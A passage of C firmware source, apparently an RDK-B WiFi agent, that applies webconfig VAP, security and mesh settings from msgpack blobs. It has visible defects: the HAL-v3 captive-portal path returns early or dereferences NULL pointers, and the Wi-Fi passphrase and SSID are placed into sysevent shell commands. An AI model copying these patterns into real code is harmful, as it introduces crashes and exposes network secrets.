err = wifi_apply_interworking_config(tempWifiVapInfo, &vap_curr_cfg.vap_array[i]);
#endif //WIFI_HAL_VERSION_3
if (err != NULL) {
CcspTraceError(("%s: Failed to apply interworking config for index %d\n",err,
vap_curr_cfg.vap_array[i].vap_index));
return RETURN_ERR;
}
}
#ifndef WIFI_HAL_VERSION_3
if (wifi_apply_radio_settings() != NULL) {
CcspTraceError(("%s: Failed to Apply Radio settings\n", __FUNCTION__));
return RETURN_ERR;
}
#endif //WIFI_HAL_VERSION_3
CcspTraceInfo(("%s: Rollback applied successfully\n",__FUNCTION__));
return RETURN_OK;
}
int wifi_update_captiveportal (char *ssid, char *password, char *vap_name) {
parameterSigStruct_t val = {0};
char param_name[64] = {0};
bool *ssid_updated, *pwd_updated;
uint8_t wlan_index;
if ( strcmp(notifyWiFiChangesVal,"true") != 0 ) {
return RETURN_OK;
}
#ifdef WIFI_HAL_VERSION_3
UINT apIndex = 0;
wlan_index = 2;
pwd_updated = NULL;
ssid_updated = NULL;
if ( (getVAPIndexFromName(vap_name, &apIndex) == ANSC_STATUS_SUCCESS) && (isVapPrivate(apIndex)) )
{
ssid_updated = &SSID_UPDATED[getRadioIndexFromAp(apIndex)];
pwd_updated = &PASSPHRASE_UPDATED[getRadioIndexFromAp(apIndex)];
wlan_index = apIndex + 1;
return RETURN_ERR;
}
#else
if (strcmp(vap_name,"private_ssid_2g") == 0) {
ssid_updated = &SSID1_UPDATED;
pwd_updated = &PASSPHRASE1_UPDATED;
wlan_index = 1;
} else {
ssid_updated = &SSID2_UPDATED;
pwd_updated = &PASSPHRASE2_UPDATED;
wlan_index = 2;
}
#endif
if (*ssid_updated) {
sprintf(param_name, "Device.WiFi.SSID.%d.SSID",wlan_index);
val.parameterName = param_name;
val.newValue = ssid;
WiFiPramValueChangedCB(&val, 0, NULL);
*ssid_updated = FALSE;
}
if (*pwd_updated) {
sprintf(param_name, "Device.WiFi.AccessPoint.%d.Security.X_COMCAST-COM_KeyPassphrase",wlan_index);
val.parameterName = param_name;
val.newValue = password;
WiFiPramValueChangedCB(&val, 0, NULL);
*pwd_updated = FALSE;
}
return RETURN_OK;
}
size_t wifi_vap_cfg_timeout_handler()
{
#if defined(_XB6_PRODUCT_REQ_) && !defined (_XB7_PRODUCT_REQ_)
return (2 * XB6_DEFAULT_TIMEOUT);
#else
return (2 * SSID_DEFAULT_TIMEOUT);
#endif
}
void Tunnel_event_callback(char *info, void *data)
{
/*PCOSA_DATAMODEL_WIFI pMyObject = (PCOSA_DATAMODEL_WIFI)g_pCosaBEManager->hWifi;
PSINGLE_LINK_ENTRY pSLinkEntry = NULL;
PCOSA_DML_WIFI_SSID pWifiSsid = NULL;
char *err = NULL;
int i;*/
wifi_vap_info_t cur_cfg, new_cfg;
memset(&cur_cfg,0,sizeof(cur_cfg));
memset(&new_cfg,0,sizeof(new_cfg));
CcspTraceInfo(("%s : Tunnel status received %s Data %s\n",__FUNCTION__,info, (char *) data));
/*Tunnel related vap up/down on hold until RDKB-35640 is fixed */
/*if (strcmp(info, "TUNNEL_DOWN") == 0) {
CcspTraceInfo(("%s Received tunnel down event\n",__FUNCTION__));
for (i = 0; i < 4; i++) {
cur_cfg.u.bss_info.enabled = TRUE;
new_cfg.u.bss_info.enabled = FALSE;
new_cfg.vap_index = hotspot_vaps[i];
if (new_cfg.vap_index <= 5) {
cur_cfg.u.bss_info.security.mode = wifi_security_mode_none;
} else {
cur_cfg.u.bss_info.security.mode = wifi_security_mode_wpa2_enterprise;
}
err = wifi_apply_ssid_config(&new_cfg, &cur_cfg, TRUE);
if (err != NULL) {
CcspTraceError(("%s Error :%s",__FUNCTION__,err));
continue;
}
}
} else if (strcmp(info, "TUNNEL_UP") == 0) {
CcspTraceInfo(("%s Received tunnel up event\n",__FUNCTION__));
for (i = 0; i < 4; i++) {
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->SsidQueue, hotspot_vaps[i])) == NULL) {
CcspTraceError(("%s Data Model object not found!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiSsid = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if (pWifiSsid->SSID.Cfg.bEnabled == FALSE) {
CcspTraceInfo(("%s Vap %d is down \n",__FUNCTION__,hotspot_vaps[i]));
continue;
} else {
cur_cfg.u.bss_info.enabled = FALSE;
new_cfg.u.bss_info.enabled = TRUE;
new_cfg.vap_index = hotspot_vaps[i];
if (new_cfg.vap_index <= 5) {
cur_cfg.u.bss_info.security.mode = wifi_security_mode_none;
} else {
cur_cfg.u.bss_info.security.mode = wifi_security_mode_wpa2_enterprise;
}
strncpy(new_cfg.u.bss_info.ssid, pWifiSsid->SSID.Cfg.SSID,sizeof(new_cfg.u.bss_info.ssid)-1);
err = wifi_apply_ssid_config(&new_cfg, &cur_cfg, TRUE);
if (err != NULL) {
CcspTraceError(("%s Error :%s",__FUNCTION__,err));
continue;
}
}
}
} else {
CcspTraceInfo(("%s Unsupported event\n",__FUNCTION__));
}*/
return;
}
#ifdef WIFI_HAL_VERSION_3
#if defined(ENABLE_FEATURE_MESHWIFI)
ANSC_STATUS notifyMeshEvents(wifi_vap_info_t *vap_cfg)
{
char mode[32] = {0};
char securityType[32] = {0};
char authMode[32] = {0};
char method[32] = {0};
char encryption[32] = {0};
UINT wlan_index = 0;
if (vap_cfg == NULL)
{
CcspWifiTrace(("RDK_LOG_WARN, WIFI %s : vap_cfg is NULL", __FUNCTION__));
return ANSC_STATUS_FAILURE;
}
wlan_index = vap_cfg->vap_index;
CcspWifiTrace(("RDK_LOG_INFO,WIFI %s : Notify Mesh of SSID change\n",__FUNCTION__));
v_secure_system("/usr/bin/sysevent set wifi_SSIDName \"RDK|%d|%s\"",wlan_index, vap_cfg->u.bss_info.ssid);
CcspWifiTrace(("RDK_LOG_INFO,WIFI %s : Notify Mesh of SSID Advertise changes\n",__FUNCTION__));
v_secure_system("/usr/bin/sysevent set wifi_SSIDAdvertisementEnable \"RDK|%d|%s\"",
wlan_index, vap_cfg->u.bss_info.showSsid?"true":"false");
webconf_auth_mode_to_str(mode, vap_cfg->u.bss_info.security.mode);
/* Copy hal specific strings for respective Authentication Mode */
if (strcmp(mode, "None") == 0 ) {
strcpy(securityType,"None");
strcpy(authMode,"None");
}
#ifndef _XB6_PRODUCT_REQ_
else if (strcmp(mode, "WEP-64") == 0 || strcmp(mode, "WEP-128") == 0) {
strcpy(securityType, "Basic");
strcpy(authMode,"None");
}
else if (strcmp(mode, "WPA-Personal") == 0) {
strcpy(securityType,"WPA");
strcpy(authMode,"PSKAuthentication");
} else if (strcmp(mode, "WPA2-Personal") == 0) {
strcpy(securityType,"11i");
strcpy(authMode,"PSKAuthentication");
} else if (strcmp(mode, "WPA-Enterprise") == 0) {
} else if (strcmp(mode, "WPA-WPA2-Personal") == 0) {
strcpy(securityType,"WPAand11i");
strcpy(authMode,"PSKAuthentication");
}
#else
else if ((strcmp(mode, "WPA2-Personal") == 0)) {
strcpy(securityType,"11i");
strcpy(authMode,"SharedAuthentication");
}
#endif
else if (strcmp(mode, "WPA2-Enterprise") == 0) {
strcpy(securityType,"11i");
strcpy(authMode,"EAPAuthentication");
} else if (strcmp(mode, "WPA-WPA2-Enterprise") == 0) {
strcpy(securityType,"WPAand11i");
strcpy(authMode,"EAPAuthentication");
}
webconf_enc_mode_to_str(encryption,vap_cfg->u.bss_info.security.encr);
if ((strcmp(encryption, "TKIP") == 0))
{
strcpy(method,"TKIPEncryption");
}
else if ((strcmp(encryption, "AES") == 0))
{
strcpy(method,"AESEncryption");
}
#ifndef _XB6_PRODUCT_REQ_
else if ((strcmp(encryption, "AES+TKIP") == 0))
{
strcpy(method,"TKIPandAESEncryption");
}
#endif
if (vap_cfg->u.bss_info.sec_changed)
{
CcspWifiTrace(("RDK_LOG_INFO,WIFI %s : Notify Mesh of Security changes\n",__FUNCTION__));
v_secure_system("/usr/bin/sysevent set wifi_ApSecurity \"RDK|%d|%s|%s|%s\"",wlan_index, vap_cfg->u.bss_info.security.u.key.key, authMode, method);
}
vap_cfg->u.bss_info.sec_changed = FALSE;
return ANSC_STATUS_SUCCESS;
}
#endif //ENABLE_FEATURE_MESHWIFI
#endif //WIFI_HAL_VERSION_3
/**
* Function to Parse Msg packed Wifi Config
*
* @param buf Pointer to the decoded string
* @param size Size of the Decoded Message
*
* returns 0 on success, error otherwise
*/
int wifi_vapConfigSet(const char *buf, size_t len, pErr execRetVal)
{
#define MAX_JSON_BUFSIZE 10240
size_t json_len = 0;
msgpack_zone msg_z;
msgpack_object msg_obj;
msgpack_unpack_return mp_rv = 0;
wifi_vap_info_map_t vap_map;
wifi_config_t wifi;
char *buffer = NULL;
char *err = NULL;
int i, retval;
char *strValue = NULL;
int retPsmGet = CCSP_SUCCESS;
BOOL vap_enabled = FALSE;
#ifdef WIFI_HAL_VERSION_3
UINT radioIndex = 0;
UINT vapIndex = 0;
UINT vapArrayIndexPerRadio = 0;
UINT vapCount =0;
UINT radioCount =0;
wifi_vap_info_t *tempWifiVapInfo;
ANSC_STATUS ret;
#endif
if (!buf || !execRetVal) {
CcspTraceError(("%s: Empty input parameters for subdoc set\n",__FUNCTION__));
if (execRetVal) {
execRetVal->ErrorCode = VALIDATION_FALIED;
strncpy(execRetVal->ErrorMsg, "Empty subdoc", sizeof(execRetVal->ErrorMsg)-1);
}
return RETURN_ERR;
}
msgpack_zone_init(&msg_z, MAX_JSON_BUFSIZE);
if(MSGPACK_UNPACK_SUCCESS != msgpack_unpack(buf, len, NULL, &msg_z, &msg_obj)) {
CcspTraceError(("%s: Failed to unpack wifi msg blob. Error %d\n",__FUNCTION__,mp_rv));
if (execRetVal) {
execRetVal->ErrorCode = VALIDATION_FALIED;
strncpy(execRetVal->ErrorMsg, "Msg unpack failed", sizeof(execRetVal->ErrorMsg)-1);
}
msgpack_zone_destroy(&msg_z);
return RETURN_ERR;
}
CcspTraceInfo(("%s:Msg unpack success.\n", __FUNCTION__));
buffer = (char*) malloc (MAX_JSON_BUFSIZE);
if (!buffer) {
CcspTraceError(("%s: Failed to allocate memory\n",__FUNCTION__));
strncpy(execRetVal->ErrorMsg, "Failed to allocate memory", sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = VALIDATION_FALIED;
msgpack_zone_destroy(&msg_z);
return RETURN_ERR;
}
memset(buffer,0,MAX_JSON_BUFSIZE);
json_len = msgpack_object_print_jsonstr(buffer, MAX_JSON_BUFSIZE, msg_obj);
if (json_len <= 0) {
CcspTraceError(("%s: Msgpack to json conversion failed\n",__FUNCTION__));
if (execRetVal) {
execRetVal->ErrorCode = VALIDATION_FALIED;
strncpy(execRetVal->ErrorMsg, "Msgpack to json conversion failed", sizeof(execRetVal->ErrorMsg)-1);
}
free(buffer);
msgpack_zone_destroy(&msg_z);
return RETURN_ERR;
}
buffer[json_len] = '\0';
msgpack_zone_destroy(&msg_z);
CcspTraceInfo(("%s:Msgpack to JSON success.\n", __FUNCTION__));
//Fetch RFC values for Interworking and Passpoint
retPsmGet = PSM_Get_Record_Value2(bus_handle,g_Subsystem, "Device.DeviceInfo.X_RDKCENTRAL-COM_RFC.Feature.WiFi-Interworking.Enable", NULL, &strValue);
if ((retPsmGet == CCSP_SUCCESS) && (strValue)){
g_interworking_RFC = _ansc_atoi(strValue);
((CCSP_MESSAGE_BUS_INFO *)bus_handle)->freefunc(strValue);
}
retPsmGet = PSM_Get_Record_Value2(bus_handle,g_Subsystem, "Device.DeviceInfo.X_RDKCENTRAL-COM_RFC.Feature.WiFi-Passpoint.Enable", NULL, &strValue);
if ((retPsmGet == CCSP_SUCCESS) && (strValue)){
g_passpoint_RFC = _ansc_atoi(strValue);
((CCSP_MESSAGE_BUS_INFO *)bus_handle)->freefunc(strValue);
}
memset(&vap_map, 0, sizeof(vap_map));
memset(&wifi, 0, sizeof(wifi));
if (wifi_validate_config(buffer, &wifi, &vap_map, execRetVal) != RETURN_OK) {
CcspTraceError(("%s: Failed to fetch and validate vaps from json. ErrorMsg: %s\n", __FUNCTION__,execRetVal->ErrorMsg));
execRetVal->ErrorCode = VALIDATION_FALIED;
free(buffer);
return RETURN_ERR;
}
free(buffer);
#ifndef WIFI_HAL_VERSION_3
memset(&vap_curr_cfg, 0, sizeof(vap_curr_cfg));
vap_curr_cfg.num_vaps = 0;
#endif //WIFI_HAL_VERSION_3
memset(&wifi_cfg,0,sizeof(wifi_cfg));
if (wifi_get_initial_common_config(&wifi_cfg) != RETURN_OK) {
CcspTraceError(("%s: Failed to retrieve common wifi config\n",__FUNCTION__));
strncpy(execRetVal->ErrorMsg, "Failed to get WiFi Config",sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = VALIDATION_FALIED;
return RETURN_ERR;
}
#ifdef WIFI_HAL_VERSION_3
for (radioCount=0; radioCount < getNumberRadios(); radioCount++)
{
memset(&vap_map_per_radio[radioCount], 0, sizeof(wifi_vap_info_map_t));
}
for (vapCount = 0; vapCount < vap_map.num_vaps; vapCount++)
{
vapIndex = vap_map.vap_array[vapCount].vap_index;
//get the RadioIndex for corresponding vap_index
radioIndex = getRadioIndexFromAp(vapIndex);
ccspWifiDbgPrint(CCSP_WIFI_TRACE, " %s For radioIndex %d vapIndex : %d \n", __FUNCTION__, radioIndex, vapIndex);
vapArrayIndexPerRadio = vap_map_per_radio[radioIndex].num_vaps;
/* Get Initial dml config */
tempWifiVapInfo = getVapInfo(vapIndex);
if (tempWifiVapInfo == NULL)
{
CcspTraceError(("%s Unable to get VAP info for vapIndex : %d\n", __FUNCTION__, vapIndex));
strncpy(execRetVal->ErrorMsg, "getVapInfo Failed", sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
memcpy(&vap_map_per_radio[radioIndex].vap_array[vapArrayIndexPerRadio], tempWifiVapInfo, sizeof(wifi_vap_info_t));
vap_enabled = FALSE;
if (vap_map_per_radio[radioIndex].vap_array[vapArrayIndexPerRadio].u.bss_info.enabled == FALSE &&
vap_map.vap_array[vapCount].u.bss_info.enabled == TRUE)
{
vap_enabled = TRUE;
}
/*Update ssid parameters*/
err = wifi_apply_ssid_config(&vap_map.vap_array[vapCount], &vap_map_per_radio[radioIndex].vap_array[vapArrayIndexPerRadio], FALSE,vap_enabled);
if (err != NULL) {
CcspTraceError(("%s: Failed to apply ssid config for index %d\n", err,
vap_map.vap_array[vapCount].vap_index));
strncpy(execRetVal->ErrorMsg, err, sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
/* Update security parameters*/
err = wifi_apply_security_config(&vap_map.vap_array[vapCount], &vap_map_per_radio[radioIndex].vap_array[vapArrayIndexPerRadio], vap_enabled);
if (err != NULL) {
CcspTraceError(("%s: Failed to apply security config for index %d\n", err,
vap_map.vap_array[vapCount].vap_index));
strncpy(execRetVal->ErrorMsg, err, sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
/*Update Interworking parameters */
err = wifi_apply_interworking_config(&vap_map.vap_array[vapCount], &vap_map_per_radio[radioIndex].vap_array[vapArrayIndexPerRadio]);
if (err != NULL) {
CcspTraceError(("%s: Failed to apply interworking config for index %d\n", err,
vap_map.vap_array[vapCount].vap_index));
strncpy(execRetVal->ErrorMsg, err, sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
vap_map_per_radio[radioIndex].num_vaps++;
}
for (radioCount = 0; radioCount < getNumberRadios(); radioCount++)
{
ccspWifiDbgPrint(CCSP_WIFI_TRACE, " %s For radioIndex %d num_vaps : %d to be configured\n", __FUNCTION__, radioCount, vap_map_per_radio[radioCount].num_vaps);
//For Each Radio call the createVAP
if (vap_map_per_radio[radioCount].num_vaps != 0)
{
ret = wifi_createVAP(radioCount, &vap_map_per_radio[radioCount]);
if (ret != ANSC_STATUS_SUCCESS)
{
CcspTraceError((" %s wifi_createVAP returned with error %lu\n", __FUNCTION__, ret));
strncpy(execRetVal->ErrorMsg, "wifi_createVAP Failed", sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wifi_createVAP Successful for Radio : %d\n", __FUNCTION__, radioCount);
//Update the global wifi_vap_info_t structure.
for (vapCount = 0; vapCount < vap_map_per_radio[radioCount].num_vaps; vapCount++)
{
tempWifiVapInfo = getVapInfo(vap_map_per_radio[radioCount].vap_array[vapCount].vap_index);
if (tempWifiVapInfo == NULL)
{
CcspTraceError((" %s %d Unable to get VAP info for vapIndex : %d\n", __FUNCTION__, __LINE__, vap_map_per_radio[radioCount].vap_array[vapCount].vap_index));
strncpy(execRetVal->ErrorMsg, "getVapInfo Failed", sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
memcpy(tempWifiVapInfo, &vap_map_per_radio[radioCount].vap_array[vapCount], sizeof(wifi_vap_info_t));
#if defined(ENABLE_FEATURE_MESHWIFI)
notifyMeshEvents(tempWifiVapInfo);
#endif //ENABLE_FEATURE_MESHWIFI
}
}
}
wifi_reset_radio();
#else //WIFI_HAL_VERSION_3
for (i = 0; i < (int)vap_map.num_vaps; i++) {
vap_curr_cfg.vap_array[i].vap_index = vap_map.vap_array[i].vap_index;
strncpy(vap_curr_cfg.vap_array[i].vap_name, vap_map.vap_array[i].vap_name,
sizeof(vap_curr_cfg.vap_array[i].vap_name)-1);
/* Get Initial dml config */
if (RETURN_OK != wifi_get_initial_vap_config(&vap_curr_cfg.vap_array[i],
vap_map.vap_array[i].vap_index)) {
CcspTraceError(("%s: Failed to fetch initial dml config\n",__FUNCTION__));
strncpy(execRetVal->ErrorMsg,"Fetching dml config failed",sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = VALIDATION_FALIED;
return RETURN_ERR;
}
vap_curr_cfg.num_vaps++;
vap_enabled = FALSE;
if (vap_curr_cfg.vap_array[i].u.bss_info.enabled == FALSE &&
vap_map.vap_array[i].u.bss_info.enabled == TRUE) {
vap_enabled = TRUE;
}
/* Apply ssid parameters to hal */
err = wifi_apply_ssid_config(&vap_map.vap_array[i], &vap_curr_cfg.vap_array[i], FALSE,vap_enabled);
if (err != NULL) {
CcspTraceError(("%s: Failed to apply ssid config for index %d\n", err,
vap_map.vap_array[i].vap_index));
strncpy(execRetVal->ErrorMsg, err, sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
/* Apply security parameters to hal */
err = wifi_apply_security_config(&vap_map.vap_array[i], &vap_curr_cfg.vap_array[i],vap_enabled);
if (err != NULL) {
CcspTraceError(("%s: Failed to apply security config for index %d\n", err,
vap_map.vap_array[i].vap_index));
strncpy(execRetVal->ErrorMsg, err, sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
}
err = wifi_apply_radio_settings();
if (err != NULL) {
CcspTraceError(("%s: Failed to Apply Radio settings\n", __FUNCTION__));
strncpy(execRetVal->ErrorMsg,err,sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
for (i = 0; i < (int)vap_map.num_vaps; i++) {
#ifdef CISCO_XB3_PLATFORM_CHANGES
if((strcmp(vap_map.vap_array[i].vap_name,"hotspot_open_5g") == 0) ||
(strcmp(vap_map.vap_array[i].vap_name,"hotspot_open_2g") == 0)) {
if (vap_map.vap_array[i].u.bss_info.enabled) {
vap_curr_cfg.vap_array[i].u.bss_info.enabled = FALSE;
err = wifi_apply_ssid_config(&vap_map.vap_array[i],&vap_curr_cfg.vap_array[i],TRUE,FALSE);
}
}
#endif
err = wifi_apply_interworking_config(&vap_map.vap_array[i], &vap_curr_cfg.vap_array[i]);
if (err != NULL) {
CcspTraceError(("%s: Failed to apply interworking config for index %d\n", err,
vap_map.vap_array[i].vap_index));
strncpy(execRetVal->ErrorMsg, err, sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
}
#endif //WIFI_HAL_VERSION_3
err = wifi_apply_common_config(&wifi,&wifi_cfg);
if (err != NULL) {
CcspTraceError(("%s: Failed to apply common WiFi config\n",__FUNCTION__));
strncpy(execRetVal->ErrorMsg,err,sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
}
#ifndef WIFI_HAL_VERSION_3
if (gHostapd_restart_reqd) {
err = wifi_apply_radio_settings();
if (err != NULL) {
CcspTraceError(("%s: Failed to Apply Radio settings\n", __FUNCTION__));
strncpy(execRetVal->ErrorMsg,err,sizeof(execRetVal->ErrorMsg)-1);
execRetVal->ErrorCode = WIFI_HAL_FAILURE;
return RETURN_ERR;
}
}
#endif //WIFI_HAL_VERSION_3
for (i = 0; i < (int)vap_map.num_vaps; i++) {
/* Update TR-181 params */
retval = wifi_update_dml_config(&vap_map.vap_array[i], &vap_curr_cfg.vap_array[i],
vap_map.vap_array[i].vap_index);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to update Tr-181 params\n", __FUNCTION__));
strncpy(execRetVal->ErrorMsg,"Failed to update TR-181 params",
sizeof(execRetVal->ErrorMsg)-1);
return RETURN_ERR;
}
#ifdef WIFI_HAL_VERSION_3
UINT apIndex = 0;
if ( (getVAPIndexFromName(vap_map.vap_array[i].vap_name, &apIndex) == ANSC_STATUS_SUCCESS) && (isVapPrivate(apIndex)) )
#else
if (strcmp(vap_map.vap_array[i].vap_name, "private_ssid_2g") == 0 ||
strcmp(vap_map.vap_array[i].vap_name, "private_ssid_5g") == 0)
#endif
{
/* Update captive portal */
retval = wifi_update_captiveportal(vap_map.vap_array[i].u.bss_info.ssid,
vap_map.vap_array[i].u.bss_info.security.u.key.key,
vap_map.vap_array[i].vap_name);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to update captive portal\n", __FUNCTION__));
strncpy(execRetVal->ErrorMsg,"Failed to update captive portal settings",
sizeof(execRetVal->ErrorMsg)-1);
}
}
}
if (wifi_update_common_config(&wifi) != RETURN_OK) {
CcspTraceError(("%s: Failed to update TR-181 common config\n",__FUNCTION__));
strncpy(execRetVal->ErrorMsg,"Failed to update TR-181 common config",
sizeof(execRetVal->ErrorMsg)-1);
return RETURN_ERR;
}
execRetVal->ErrorCode = BLOB_EXEC_SUCCESS;
return RETURN_OK;
}
pErr wifi_multicomp_subdoc_handler(void *data)
{
unsigned char *msg = NULL;
unsigned long msg_size = 0;
pErr execRetVal = NULL;
if (data == NULL) {
CcspTraceError(("%s: Empty multi component subdoc\n",__FUNCTION__));
return execRetVal;
}
msg = AnscBase64Decode((unsigned char *)data, &msg_size);
if (!msg) {
CcspTraceError(("%s: Failed in Decoding multicomp blob\n",__FUNCTION__));
return execRetVal;
}
execRetVal = (pErr ) malloc (sizeof(Err));
if (execRetVal == NULL ) {
free(msg);
CcspTraceError(("%s : Failed in allocating memory for error struct\n",__FUNCTION__));
return execRetVal;
}
memset(execRetVal,0,(sizeof(Err)));
if (wifi_vapConfigSet((char *)msg, msg_size, execRetVal) == RETURN_OK) {
CcspTraceInfo(("%s:Successfully applied tbe subdoc\n",__FUNCTION__));
} else {
CcspTraceError(("%s : Failed to apply the subdoc\n", __FUNCTION__));
}
if (msg) {
free(msg);
}
return execRetVal;
}
pErr wifi_vap_cfg_exec_handler(void *data)
{
pErr execRetVal = NULL;
if (data == NULL) {
CcspTraceError(("%s: Input Data is NULL\n",__FUNCTION__));
return execRetVal;
}
wifi_vap_blob_data_t *vap_msg = (wifi_vap_blob_data_t *) data;
execRetVal = (pErr ) malloc (sizeof(Err));
if (execRetVal == NULL ) {
CcspTraceError(("%s : Failed in allocating memory for error struct\n",__FUNCTION__));
return execRetVal;
}
memset(execRetVal,0,(sizeof(Err)));
if (wifi_vapConfigSet((const char *)vap_msg->data,vap_msg->msg_size,execRetVal) == RETURN_OK) {
CcspTraceInfo(("%s : Vap config set success\n",__FUNCTION__));
} else {
CcspTraceError(("%s : Vap config set Failed\n",__FUNCTION__));
}
return execRetVal;
}
void wifi_vap_cfg_free_resources(void *arg)
{
CcspTraceInfo(("Entering: %s\n",__FUNCTION__));
if (arg == NULL) {
CcspTraceError(("%s: Input Data is NULL\n",__FUNCTION__));
return;
}
execData *blob_exec_data = (execData*) arg;
wifi_vap_blob_data_t *vap_Data = (wifi_vap_blob_data_t *) blob_exec_data->user_data;
if (vap_Data && vap_Data->data) {
free(vap_Data->data);
vap_Data->data = NULL;
}
if (vap_Data) {
free(vap_Data);
vap_Data = NULL;
}
free(blob_exec_data);
blob_exec_data = NULL;
CcspTraceInfo(("%s:Success in Clearing wifi vapconfig resources\n",__FUNCTION__));
}
int wifi_vapBlobSet(void *data)
{
char *decoded_data = NULL;
unsigned long msg_size = 0;
size_t offset = 0;
msgpack_unpacked msg;
msgpack_unpack_return mp_rv;
msgpack_object_map *map = NULL;
msgpack_object_kv* map_ptr = NULL;
wifi_vap_blob_data_t *vap_data = NULL;
int i = 0;
if (data == NULL) {
CcspTraceError(("%s: Empty Blob Input\n",__FUNCTION__));
return RETURN_ERR;
}
decoded_data = (char *)AnscBase64Decode((unsigned char *)data, &msg_size);
if (!decoded_data) {
CcspTraceError(("%s: Failed in Decoding vapconfig blob\n",__FUNCTION__));
return RETURN_ERR;
}
msgpack_unpacked_init( &msg );
/* The outermost wrapper MUST be a map. */
mp_rv = msgpack_unpack_next( &msg, (const char*) decoded_data, msg_size+1, &offset );
if (mp_rv != MSGPACK_UNPACK_SUCCESS) {
CcspTraceError(("%s: Failed to unpack wifi msg blob. Error %d",__FUNCTION__,mp_rv));
msgpack_unpacked_destroy( &msg );
free(decoded_data);
return RETURN_ERR;
}
CcspTraceInfo(("%s:Msg unpack success. Offset is %u\n", __FUNCTION__,offset));
msgpack_object obj = msg.data;
map = &msg.data.via.map;
map_ptr = obj.via.map.ptr;
if ((!map) || (!map_ptr)) {
CcspTraceError(("Failed to get object map\n"));
msgpack_unpacked_destroy( &msg );
free(decoded_data);
return RETURN_ERR;
}
if (msg.data.type != MSGPACK_OBJECT_MAP) {
CcspTraceError(("%s: Invalid msgpack type",__FUNCTION__));
msgpack_unpacked_destroy( &msg );
free(decoded_data);
return RETURN_ERR;
}
vap_data = (wifi_vap_blob_data_t *) malloc(sizeof(wifi_vap_blob_data_t));
if (vap_data == NULL) {
CcspTraceError(("%s: Wifi vap data malloc error\n",__FUNCTION__));
free(decoded_data);
return RETURN_ERR;
}
/* Parsing Config Msg String to Wifi Structure */
for (i = 0;i < (int)map->size;i++) {
if (strncmp(map_ptr->key.via.str.ptr, "version", map_ptr->key.via.str.size) == 0) {
if (map_ptr->val.type == MSGPACK_OBJECT_POSITIVE_INTEGER) {
vap_data->version = (uint64_t) map_ptr->val.via.u64;
CcspTraceInfo(("Version type %d version %llu\n",map_ptr->val.type,vap_data->version));
}
}
else if (strncmp(map_ptr->key.via.str.ptr, "transaction_id", map_ptr->key.via.str.size) == 0) {
if (map_ptr->val.type == MSGPACK_OBJECT_POSITIVE_INTEGER) {
vap_data->transaction_id = (uint16_t) map_ptr->val.via.u64;
CcspTraceInfo(("Tx id type %d tx id %d\n",map_ptr->val.type,vap_data->transaction_id));
}
}
++map_ptr;
}
msgpack_unpacked_destroy( &msg );
vap_data->msg_size = msg_size;
vap_data->data = decoded_data;
execData *execDataPf = NULL ;
execDataPf = (execData*) malloc (sizeof(execData));
if (execDataPf != NULL) {
memset(execDataPf, 0, sizeof(execData));
execDataPf->txid = vap_data->transaction_id;
execDataPf->version = vap_data->version;
execDataPf->numOfEntries = 2;
strncpy(execDataPf->subdoc_name, "wifiVapData", sizeof(execDataPf->subdoc_name)-1);
execDataPf->user_data = (void*) vap_data;
execDataPf->calcTimeout = webconf_ssid_timeout_handler;
execDataPf->executeBlobRequest = wifi_vap_cfg_exec_handler;
execDataPf->rollbackFunc = wifi_vap_cfg_rollback_handler;
execDataPf->freeResources = wifi_vap_cfg_free_resources;
PushBlobRequest(execDataPf);
CcspTraceInfo(("PushBlobRequest Complete\n"));
}
return RETURN_OK;
}
/**
* API to get Blob version from PSM db
*
* @param subdoc Pointer to name of the subdoc
*
* returns version number if present, 0 otherwise
*/
uint32_t getWiFiBlobVersion(char* subdoc)
{
char *subdoc_ver = NULL;
char buf[72] = {0};
int retval;
uint32_t version = 0;
snprintf(buf,sizeof(buf), WiFiSsidVersion, subdoc);
retval = PSM_Get_Record_Value2(bus_handle,g_Subsystem, buf, NULL, &subdoc_ver);
if ((retval == CCSP_SUCCESS) && (subdoc_ver))
{
version = strtoul(subdoc_ver, NULL, 10);
CcspTraceInfo(("%s: Wifi %s blob version %s\n",__FUNCTION__, subdoc,subdoc_ver));
((CCSP_MESSAGE_BUS_INFO *)bus_handle)->freefunc(subdoc_ver);
return (uint32_t)version;
}
return 0;
}
/**
* API to set Blob version in PSM db
*
* @param subdoc Pointer to name of the subdoc
* @param version Version of the blob
*
* returns 0 on success, error otherwise
*/
int setWiFiBlobVersion(char* subdoc,uint32_t version)
{
char subdoc_ver[32] = {0}, buf[72] = {0};
int retval;
snprintf(subdoc_ver,sizeof(subdoc_ver),"%u",version);
snprintf(buf,sizeof(buf), WiFiSsidVersion,subdoc);
